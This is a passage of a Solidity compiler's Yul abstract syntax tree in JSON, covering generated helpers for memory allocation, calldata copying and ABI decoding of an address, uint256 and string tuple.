"nodeType": "YulLiteral",
"src": "1429:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1419:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1419:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1419:12:1"
}
]
},
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae",
"nodeType": "YulFunctionDefinition",
"src": "1320:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1491:54:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1501:38:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1519:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1526:2:1",
"type": "",
"value": "31"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1515:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1515:14:1"
},
{
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1535:2:1",
"type": "",
"value": "31"
}
],
"functionName": {
"name": "not",
"nodeType": "YulIdentifier",
"src": "1531:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1531:7:1"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "1511:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1511:28:1"
},
"variableNames": [
{
"name": "result",
"nodeType": "YulIdentifier",
"src": "1501:6:1"
}
]
}
]
},
"name": "round_up_to_mul_of_32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1474:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "result",
"nodeType": "YulTypedName",
"src": "1484:6:1",
"type": ""
}
],
"src": "1443:102:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1579:152:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1596:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1599:77:1",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1589:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1589:88:1"
},
"nodeType": "YulExpressionStatement",
"src": "1589:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1693:1:1",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1696:4:1",
"type": "",
"value": "0x41"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1686:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1686:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "1686:15:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1717:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1720:4:1",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1710:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1710:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "1710:15:1"
}
]
},
"name": "panic_error_0x41",
"nodeType": "YulFunctionDefinition",
"src": "1551:180:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1780:238:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1790:58:1",
"value": {
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1812:6:1"
},
{
"arguments": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "1842:4:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nodeType": "YulIdentifier",
"src": "1820:21:1"
},
"nodeType": "YulFunctionCall",
"src": "1820:27:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1808:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1808:40:1"
},
"variables": [
{
"name": "newFreePtr",
"nodeType": "YulTypedName",
"src": "1794:10:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "1959:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x41",
"nodeType": "YulIdentifier",
"src": "1961:16:1"
},
"nodeType": "YulFunctionCall",
"src": "1961:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "1961:18:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "newFreePtr",
"nodeType": "YulIdentifier",
"src": "1902:10:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1914:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "1899:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1899:34:1"
},
{
"arguments": [
{
"name": "newFreePtr",
"nodeType": "YulIdentifier",
"src": "1938:10:1"
},
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1950:6:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "1935:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1935:22:1"
}
],
"functionName": {
"name": "or",
"nodeType": "YulIdentifier",
"src": "1896:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1896:62:1"
},
"nodeType": "YulIf",
"src": "1893:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1997:2:1",
"type": "",
"value": "64"
},
{
"name": "newFreePtr",
"nodeType": "YulIdentifier",
"src": "2001:10:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1990:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1990:22:1"
},
"nodeType": "YulExpressionStatement",
"src": "1990:22:1"
}
]
},
"name": "finalize_allocation",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1766:6:1",
"type": ""
},
{
"name": "size",
"nodeType": "YulTypedName",
"src": "1774:4:1",
"type": ""
}
],
"src": "1737:281:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2065:88:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2075:30:1",
"value": {
"arguments": [],
"functionName": {
"name": "allocate_unbounded",
"nodeType": "YulIdentifier",
"src": "2085:18:1"
},
"nodeType": "YulFunctionCall",
"src": "2085:20:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "2075:6:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "2134:6:1"
},
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "2142:4:1"
}
],
"functionName": {
"name": "finalize_allocation",
"nodeType": "YulIdentifier",
"src": "2114:19:1"
},
"nodeType": "YulFunctionCall",
"src": "2114:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "2114:33:1"
}
]
},
"name": "allocate_memory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "size",
"nodeType": "YulTypedName",
"src": "2049:4:1",
"type": ""
}
],
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "2058:6:1",
"type": ""
}
],
"src": "2024:129:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2226:241:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "2331:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x41",
"nodeType": "YulIdentifier",
"src": "2333:16:1"
},
"nodeType": "YulFunctionCall",
"src": "2333:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "2333:18:1"
}
]
},
"condition": {
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2303:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2311:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "2300:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2300:30:1"
},
"nodeType": "YulIf",
"src": "2297:56:1"
},
{
"nodeType": "YulAssignment",
"src": "2363:37:1",
"value": {
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2393:6:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nodeType": "YulIdentifier",
"src": "2371:21:1"
},
"nodeType": "YulFunctionCall",
"src": "2371:29:1"
},
"variableNames": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "2363:4:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "2437:23:1",
"value": {
"arguments": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "2449:4:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2455:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2445:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2445:15:1"
},
"variableNames": [
{
"name": "size",
"nodeType": "YulIdentifier",
"src": "2437:4:1"
}
]
}
]
},
"name": "array_allocation_size_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2210:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "size",
"nodeType": "YulTypedName",
"src": "2221:4:1",
"type": ""
}
],
"src": "2159:308:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2524:103:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "2547:3:1"
},
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "2552:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2557:6:1"
}
],
"functionName": {
"name": "calldatacopy",
"nodeType": "YulIdentifier",
"src": "2534:12:1"
},
"nodeType": "YulFunctionCall",
"src": "2534:30:1"
},
"nodeType": "YulExpressionStatement",
"src": "2534:30:1"
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "2605:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2610:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2601:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2601:16:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2619:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2594:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2594:27:1"
},
"nodeType": "YulExpressionStatement",
"src": "2594:27:1"
}
]
},
"name": "copy_calldata_to_memory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nodeType": "YulTypedName",
"src": "2506:3:1",
"type": ""
},
{
"name": "dst",
"nodeType": "YulTypedName",
"src": "2511:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2516:6:1",
"type": ""
}
],
"src": "2473:154:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2717:328:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2727:75:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2794:6:1"
}
],
"functionName": {
"name": "array_allocation_size_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "2752:41:1"
},
"nodeType": "YulFunctionCall",
"src": "2752:49:1"
}
],
"functionName": {
"name": "allocate_memory",
"nodeType": "YulIdentifier",
"src": "2736:15:1"
},
"nodeType": "YulFunctionCall",
"src": "2736:66:1"
},
"variableNames": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "2727:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "2818:5:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2825:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2811:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2811:21:1"
},
"nodeType": "YulExpressionStatement",
"src": "2811:21:1"
},
{
"nodeType": "YulVariableDeclaration",
"src": "2841:27:1",
"value": {
"arguments": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "2856:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2863:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2852:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2852:16:1"
},
"variables": [
{
"name": "dst",
"nodeType": "YulTypedName",
"src": "2845:3:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "2906:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae",
"nodeType": "YulIdentifier",
"src": "2908:77:1"
},
"nodeType": "YulFunctionCall",
"src": "2908:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "2908:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "2887:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "2892:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "2883:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2883:16:1"
},
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "2901:3:1"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "2880:2:1"
},
"nodeType": "YulFunctionCall",
"src": "2880:25:1"
},
"nodeType": "YulIf",
"src": "2877:112:1"
},
{
"expression": {
"arguments": [
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "3022:3:1"
},
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "3027:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "3032:6:1"
}
],
"functionName": {
"name": "copy_calldata_to_memory",
"nodeType": "YulIdentifier",
"src": "2998:23:1"
},
"nodeType": "YulFunctionCall",
"src": "2998:41:1"
},
"nodeType": "YulExpressionStatement",
"src": "2998:41:1"
}
]
},
"name": "abi_decode_available_length_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nodeType": "YulTypedName",
"src": "2690:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "2695:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "2703:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "array",
"nodeType": "YulTypedName",
"src": "2711:5:1",
"type": ""
}
],
"src": "2633:412:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3127:278:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "3176:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d",
"nodeType": "YulIdentifier",
"src": "3178:77:1"
},
"nodeType": "YulFunctionCall",
"src": "3178:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "3178:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3155:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3163:4:1",
"type": "",
"value": "0x1f"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3151:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3151:17:1"
},
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3170:3:1"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "3147:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3147:27:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "3140:6:1"
},
"nodeType": "YulFunctionCall",
"src": "3140:35:1"
},
"nodeType": "YulIf",
"src": "3137:122:1"
},
{
"nodeType": "YulVariableDeclaration",
"src": "3268:34:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3295:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "3282:12:1"
},
"nodeType": "YulFunctionCall",
"src": "3282:20:1"
},
"variables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "3272:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "3311:88:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3372:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3380:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3368:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3368:17:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "3387:6:1"
},
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3395:3:1"
}
],
"functionName": {
"name": "abi_decode_available_length_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "3320:47:1"
},
"nodeType": "YulFunctionCall",
"src": "3320:79:1"
},
"variableNames": [
{
"name": "array",
"nodeType": "YulIdentifier",
"src": "3311:5:1"
}
]
}
]
},
"name": "abi_decode_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "3105:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3113:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "array",
"nodeType": "YulTypedName",
"src": "3121:5:1",
"type": ""
}
],
"src": "3065:340:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3521:689:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "3567:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "3569:77:1"
},
"nodeType": "YulFunctionCall",
"src": "3569:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "3569:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "3542:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3551:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "3538:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3538:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3563:2:1",
"type": "",
"value": "96"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "3534:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3534:32:1"
},
"nodeType": "YulIf",
"src": "3531:119:1"
},
{
"nodeType": "YulBlock",
"src": "3660:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "3675:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "3689:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "3679:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "3704:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3739:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3750:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3735:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3735:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "3759:7:1"
}
],
"functionName": {
"name": "abi_decode_t_address",
"nodeType": "YulIdentifier",
"src": "3714:20:1"
},
"nodeType": "YulFunctionCall",
"src": "3714:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "3704:6:1"
}
]
}
]
},
{
"nodeType": "YulBlock",
"src": "3787:118:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "3802:16:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "3816:2:1",
"type": "",
"value": "32"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "3806:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "3832:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3867:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3878:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3863:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3863:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "3887:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "3842:20:1"
},
"nodeType": "YulFunctionCall",
"src": "3842:53:1"
},
"variableNames": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "3832:6:1"
}
]
}
]
},
{
"nodeType": "YulBlock",
"src": "3915:288:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "3930:46:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3961:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3972:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3957:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3957:18:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "3944:12:1"
},
"nodeType": "YulFunctionCall",
"src": "3944:32:1"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "3934:6:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "4023:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulIdentifier",
"src": "4025:77:1"
},
"nodeType": "YulFunctionCall",
"src": "4025:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "4025:79:1"
}
]
},
"condition": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "3995:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4003:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "3992:2:1"
},
"nodeType": "YulFunctionCall",
"src": "3992:30:1"
},
"nodeType": "YulIf",
"src": "3989:117:1"
},
{
"nodeType": "YulAssignment",
"src": "4120:73:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4165:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "4176:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4161:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4161:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "4185:7:1"
}
],
"functionName": {
"name": "abi_decode_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "4130:30:1"
},
"nodeType": "YulFunctionCall",
"src": "4130:63:1"
},
"variableNames": [
{
"name": "value2",
"nodeType": "YulIdentifier",
"src": "4120:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_addresst_uint256t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "3475:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "3486:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "3498:6:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "3506:6:1",
"type": ""
},
{
"name": "value2",
"nodeType": "YulTypedName",
"src": "3514:6:1",
"type": ""
}
],
"src": "3411:799:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4281:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4298:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4321:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "4303:17:1"
},
"nodeType": "YulFunctionCall",
"src": "4303:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "4291:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4291:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "4291:37:1"
}
]
},
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4269:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "4276:3:1",
"type": ""
}
],
"src": "4216:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4405:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4422:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4445:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "4427:17:1"
},
"nodeType": "YulFunctionCall",
"src": "4427:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "4415:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4415:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "4415:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4393:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "4400:3:1",
"type": ""
}
],
"src": "4340:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4523:40:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4534:22:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4550:5:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "4544:5:1"
},
"nodeType": "YulFunctionCall",
"src": "4544:12:1"
},
"variableNames": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "4534:6:1"
}
]
}
]
},
"name": "array_length_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4506:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "4516:6:1",
"type": ""
}
],
"src": "4464:99:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4665:73:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4682:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "4687:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "4675:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4675:19:1"
},
"nodeType": "YulExpressionStatement",
"src": "4675:19:1"
},
{
"nodeType": "YulAssignment",
"src": "4703:29:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "4722:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4727:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4718:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4718:14:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "4703:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "4637:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "4642:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "4653:11:1",
"type": ""
}
],
"src": "4569:169:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4793:258:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "4803:10:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "4812:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "i",
"nodeType": "YulTypedName",
"src": "4807:1:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "4872:63:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "4897:3:1"
},
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "4902:1:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "4893:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4893:11:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "4916:3:1"
},
{
"name": "i",
"nodeType": "YulIdentifier",
